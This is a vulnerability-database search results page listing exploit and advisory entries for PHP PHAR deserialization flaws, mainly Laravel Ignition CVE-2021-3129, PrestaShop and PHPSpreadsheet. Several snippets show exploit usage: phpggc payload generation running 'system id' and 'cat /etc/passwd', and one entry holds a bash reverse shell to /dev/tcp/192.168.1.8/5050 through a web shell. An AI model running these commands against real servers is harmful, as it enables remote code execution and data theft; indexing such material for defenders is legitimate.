Lucene search
+L

359 matches found

Kitploit
Kitploit
added 2026/09/15 10:11 a.m.7 views

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 漏洞概述 当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对filegetcontents和fileputcontents函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。 影响版本 Laravel = 8.4.2 漏洞验证 返回 500 证明存在漏洞 root@kitploit: POST /ignition/execute-solution HTTP/1.1 Host: 192.168.24.153:88...

9.8CVSS7.9AI score0.99943EPSS
SaveExploits38References3
Kitploit
Kitploit
added 2026/09/15 9:42 a.m.5 views

PrestaShop-CVE-2018-19126

PrestaShop 后台远程代码执行 CVE-2018-19126 这是 CVE-2018-19126 的概念验证代码,通过串联 PrestaShop 后台多个漏洞,利用 phar 触发反序列化实现远程代码执行。 前提条件: PrestaShop 1.6.x 低于 1.6.1.23 或 1.7.x 低于 1.7.4.4。 后台账户(物流员、翻译员、销售员等)。 PrestaShop 发布说明:http://build.prestashop.com/news/prestashop-1-7-4-4-1-6-1-23-maintenance-releases/...

9.8CVSS8.2AI score0.22535EPSS
SaveExploits6References2
Kitploit
Kitploit
added 2026/09/15 6:16 a.m.5 views

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

9.8CVSS8AI score0.99943EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/15 1:34 a.m.6 views

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Ejecución Remota de Código CVSS 9.8 Crítico | Operaciones de archivo inseguras → Log Poisoning → Deserialización Phar → RCE Resumen Laravel Ignition 2.5.2 Laravel 8.4.2 tiene una vulnerabilidad RCE cuando APPDEBUG=true. El endpoint /ignition/execute-solution permi...

9.8CVSS7.8AI score0.99943EPSS
SaveExploits38References1
Github Security Blog
Github Security Blog
added 2026/09/14 5:15 p.m.6 views

October CMS: Incomplete Scheme Validation in Image Resizer

The image resizer classified external sources by testing whether the source string began with the substring http, and the string-source branch in ResizeImageItem::fromObject accepted any value containing :// as a URL. As a result, non-https PHP stream wrappers such as phar://, file:// and ftp://...

5.9AI score
SaveExploits0References2Affected Software1
Kitploit
Kitploit
added 2026/09/14 8:15 a.m.5 views

laravel-exploits

laravel-exploits CVE-2021-3129 のエクスプロイト 詳細: https://www.ambionics.io/blog/laravel-debug-rce 使い方 root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

9.8CVSS7.9AI score0.99943EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/14 7:47 a.m.19 views

LKWA

LKWA Lesser Known Web Attack Lab(鲜为人知的 Web 攻击实验室)专为中级渗透测试人员设计,用于测试和演练对象注入、XSSI、PHAR 反序列化、变量变量等不常见的 Web 攻击。欢迎提供演练文章。我的个人完整教程见此处 。 安装 - 本地 只需使用 git clone https://github.com/weev3/LKWA 克隆仓库,然后将其移至你的 Web 服务器目录即可开始使用。 对于 XSSI 挑战,你需要将 apache2.conf 文件中的 Allow Override None 改为 Allow Override ALL ,或者将...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 1:24 p.m.12 views

CVE-2026-45034

🧨 Explotación de Deserialización Phar de PHPSpreadsheet Bypass deprohibitWrappers + Ejecución Remota de Código RCE en phpoffice/phpspreadsheet Este repositorio proporciona un exploit de prueba de concepto PoC para una vulnerabilidad crítica en la popular librería PHP PHPSpreadsheet. El ataque...

9.2CVSS5.8AI score0.00462EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/12 10:51 p.m.5 views

PoC-for-CVE-2020-28948-CVE-2020-28949

CVE-2020-28948 与 CVE-2020-28949 的 PoC 此处的文件包含可实现远程利用的 CVE-2020-28948 与 CVE-2020-28949 的 PoC 服务端 server 文件夹包含一个简单的上传服务端,它使用了存在漏洞的 ArchiveTar 库,该库位于 server/Archive 中。服务端接收用户上传的 Tar 归档文件,将其解压并存放到 server/uploads/ 文件夹中。 使用存在漏洞的库启动服务端: root@kitploit: cd server make build make start 使用已修复的库启动服务端:...

7.8CVSS7.6AI score0.84554EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/12 9:15 a.m.7 views

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE 利用工具 这是一个针对CVE-2021-3129的Python漏洞利用脚本,该漏洞是当Laravel安装了Ignition包时存在的远程代码执行漏洞。攻击者可以通过PHAR反序列化执行任意系统命令。 功能 使用 phpggc 自动生成PHAR载荷 接受用户输入以执行任意命令(例如 id、whoami 等) 自动化整个利用过程,包括清除日志、注入载荷、将日志转换为PHAR以及触发反序列化 先决条件 Python 3.x requests 库 系统已安装PHP 已安装 phpggc(用于生成PHAR载荷) 安装 1...

9.8CVSS8.6AI score0.99943EPSS
SaveExploits38References1
Kitploit
Kitploit
added 2026/09/11 10:49 p.m.5 views

CVE-2021-3129

CVE-2021-3129 root@kitploit: 生成自定义命令的phar包: php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0 php -a 进入php命令行环境 $fp = fopen'php://output', 'w'; streamfilterappend$fp, 'convert.quoted-printable-encode'; $size = ""; fwrite$fp,...

9.8CVSS7.9AI score0.99943EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/09 7:22 a.m.6 views

CVE-2024-55187

Resumen Los parámetros administrativos sensibles no están suficientemente saneados, lo que permite a un atacante envenenar rutas a binarios del sistema. El atacante puede entonces subir archivos CSV peligrosos que pueden ser tratados como archivos PHAR que contienen metacaracteres de shell que...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/09 1:14 a.m.7 views

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip 密码:...

9.8CVSS7.2AI score0.21786EPSS
SaveExploits3
Packet Storm
Packet Storm
added 2026/07/07 12:00 a.m.72 views

📄 PHPSpreadsheet 5.8.0 Remote Code Execution

PHPSpreadsheet version 5.8.0 suffers from a phar deserialization remote code execution vulnerability. ================================================================================================================================== | Title : PHPSpreadsheet 5.8.0 Phar Deserialization RCE | | Auth...

9.2CVSS6.6AI score0.00462EPSS
SaveExploits2
Github Security Blog
Github Security Blog
added 2026/06/26 10:10 p.m.20 views

PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

9.8CVSS6.5AI score0.0276EPSS
SaveExploits1References6Affected Software1
OSV
OSV
added 2026/06/26 10:10 p.m.12 views

GHSA-2FMJ-P74R-3WJM PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

Summary pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist: php if 0 === \strpos$filename, 'phar://' throw new \InvalidArgumentException'The output file cannot be a phar archive.'; PHP stream wrappers are case-insensitive, so...

8.1CVSS6.5AI score0.0095EPSS
SaveExploits0References6
CVE
CVE
added 2026/06/19 5:03 p.m.36 views

CVE-2026-49286

CVE-2026-49286 - PhpWeasyPrint : The library (prior to 2.6.0) guards the output filename against the phar:// stream wrapper with a case-sensitive blacklist. Because PHP stream wrappers are case-insensitive, inputs like PHAR://, Phar:// bypass the check and reach fileExists() in prepareOutput(), a...

8.1CVSS6.2AI score0.0095EPSS
SaveExploits0References4
Vulnrichment
Vulnrichment
added 2026/06/19 5:03 p.m.9 views

CVE-2026-49286 PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)

PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.6.0, pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist. PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc...

8.1CVSS6.2AI score0.0095EPSS
SaveExploits0References4
GithubExploit
GithubExploit
added 2026/06/11 6:47 a.m.125 views

Exploit for CVE-2026-45034

🧨 PHPSpreadsheet Phar Deserialization Exploit Bypass pro...

6.7AI score0.00462EPSS
SaveExploits2
GithubExploit
GithubExploit
added 2026/06/08 4:01 a.m.121 views

PHANTOM_CTF_HACKINGCLUB_BY_BSIDESRECIFE

Phantom — CTF Writeup & Exploit HackingClub / BSides Recife...

5.5AI score
SaveExploits0
Rows per page
Query Builder